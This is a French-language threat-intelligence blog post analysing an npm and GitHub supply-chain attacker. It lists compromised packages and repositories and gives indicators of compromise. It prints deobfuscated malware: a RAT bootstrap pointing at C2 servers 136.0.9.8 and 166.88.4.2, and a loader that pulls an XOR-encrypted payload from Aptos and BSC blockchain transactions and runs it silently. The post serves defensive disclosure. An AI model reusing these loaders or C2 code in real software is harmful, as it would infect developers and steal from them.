Aikido

Un examen plus approfondi de l'acteur de la menace derrière l'attaque react-native-aria

Charlie EriksenCharlie Eriksen
|
#
#

Vous avez peut-être entendu parler de l'histoire récente concernant un groupe d'acteurs de la menace ayant compromis 16 packages populaires liés à React Native Aria et GlueStack, que nous avons découvert et documenté ici. Auparavant, nous avions détecté qu'ils avaient compromis le package rand-user-agent le 5 mai 2025, comme cela a été rapporté ici

Nous suivons cet acteur de la menace depuis lors et avons observé des attaques de moindre envergure que nous n'avons pas encore entièrement documentées publiquement. Cependant, nous avons voulu les compiler pour offrir une vue d'ensemble plus large de leur activité. 

Premiers packages malveillants

Le 8 mai 2025, nos systèmes nous avaient déjà alertés de deux nouveaux packages sur npm qui semblaient malveillants. Il s'agit de :

Ces deux packages ont été mis en ligne par le même utilisateur, aminengineerings, enregistré avec l'adresse e-mail aminengineerings@gmail[.]com. Dès les toutes premières versions, ils contenaient tous deux la charge utile malveillante, indiquant que ce package appartient aux acteurs de la menace eux-mêmes.

Autres packages malveillants

Nous avons également observé deux packages supplémentaires publiés par l'attaquant après l'attaque sur gluestack. Les packages ont été publiés le 8 juin 2025, sous les noms tailwindcss-animate-expand et mongoose-lit. mattfarser. L'utilisateur a été rapidement supprimé par la suite.

Plus précisément, le package tailwindcss-animate-expand package est remarquable, car il présente une structure de charge utile différente. La première partie se présente comme suit :

global['r']=require;(function(){var Afr='',xzH=906-895;...

Nous ne voyons plus le global[‘_V’] variable en cours de définition. Lorsque nous l'exécutons dans un sandbox, nous constatons que la charge utile finale est également légèrement différente. La charge utile se présente comme suit après désobfuscation :

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

Ce qui est particulièrement intéressant, c'est que nous constatons que la version est A4, qui a été référencée lors de l'attaque du week-end comme un signal pour utiliser le nouveau serveur C2.

Nous constatons également que l'« ancien » serveur C2 n'est plus mentionné. Au lieu de cela, ils ont ajouté l'IP 166.88.4[.]2.

Signes avant-coureurs

En amont de cette attaque, nous avions remarqué que certains petits packages étaient compromis. Voici les packages que nous avons remarqués :

Package Version Date de publication
@lfwfinance/sdk 1.3.5 3 juin 2025
@lfwfinance/sdk-dev 2.0.10 3 juin 2025
algorand-htlc 1.0.2 3 juin 2025
avm-satoshi-dice 1.0.6 3 juin 2025
biatec-avm-gas-station 1.1.2 3 juin 2025
arc200-client 1.0.7 3 juin 2025
cputil-node 0.6.6 3 juin 2025

Ces packages appartiennent à trois individus différents et comptent moins de 100 téléchargements par semaine. Il semble que ces acteurs de la menace soient constamment capables de compromettre les tokens des comptes npm. 

Repos GitHub compromis 

En approfondissant notre enquête sur ces attaques, nous avons décidé d'examiner d'autres écosystèmes à la recherche de preuves susceptibles de nous éclairer davantage sur le mode opératoire de ces acteurs de la menace. Nous avons pu détecter 19 dépôts sur GitHub que les mêmes acteurs de la menace ont compromis :

Dépôt Date Commit
LZeroAnalytics / ethereum-faucet 4 juin 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 4 juin 2025 f325ab6
DogukanGun / TurkClub 23 mai 2025 84aaa06
khaliduddin / numbers-game 19 mai 2025 36f20cb
DogukanGun / NexWallet 16 mai 2025 43193c5
DogukanGun / NexAI 14 mai 2025 74d5221
revoks / round-feather-1f9f 01 mai 2025 ca05542
LLM-Red-Team / glm-free-api 28 avr 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 avr 2025 37f4c58
DogukanGun / pipeline-templates 02 avr 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 mars 2025 e3636c9
UnderGod-dev / portfolio 29 mars 2025 87f8add
DogukanGun / PopScope 26 mars 2025 1775087
DogukanGun / NexAgent 23 mars 2025 7ff7afa
Sid31 / front-buy-free 28 février 2025 ce93a20
DogukanGun / supabase 12 janvier 2025 71e169b
LLM-Red-Team / kimi-free-api 17 décembre 2024 2e6397c
LLM-Red-Team / doubao-free-api 13 décembre 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13 décembre 2024 d8046bf

Quelques commits se distinguent parmi ceux-ci, notamment :

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

L'acteur de la menace a légèrement modifié la charge utile qu'il utilise. Dans ce cas, il a encodé en base64 une charge utile, qu'il passe à eval(). Voici la charge utile décodée, annotée de commentaires qui décrivent sa fonctionnalité.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Ce code est astucieux, car il s'auto-amorce partiellement à partir du contenu de deux blockchains différentes. Voici un aperçu étape par étape :

La transaction sur la Binance Smart Chain peut être trouvée ci-dessous. Il est à noter que le portefeuille et le contrat existent depuis le 7 février 2025 : 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Nous avons exécuté le code dans un sandbox et obtenu la charge utile finale, et c'était la même charge utile que nous avions déjà documentée auparavant, sans changements significatifs. 

Conclusions

Nous constatons que l'acteur de la menace compromet activement et constamment non seulement les packages npm, mais aussi les dépôts GitHub. De plus, il a expérimenté le déploiement de ses propres packages avec son RAT. Il a également commencé à utiliser les Blockchains comme méthode de diffusion de son code malveillant. 

Indicateurs de compromission

Packages

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mongoose-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algorand-htlc
  • avm-satoshi-dice
  • biatec-avm-gas-station
  • arc200-client
  • cputil-node

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Compte Aptos

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

Adresse BSC

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

Contrat BSC

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.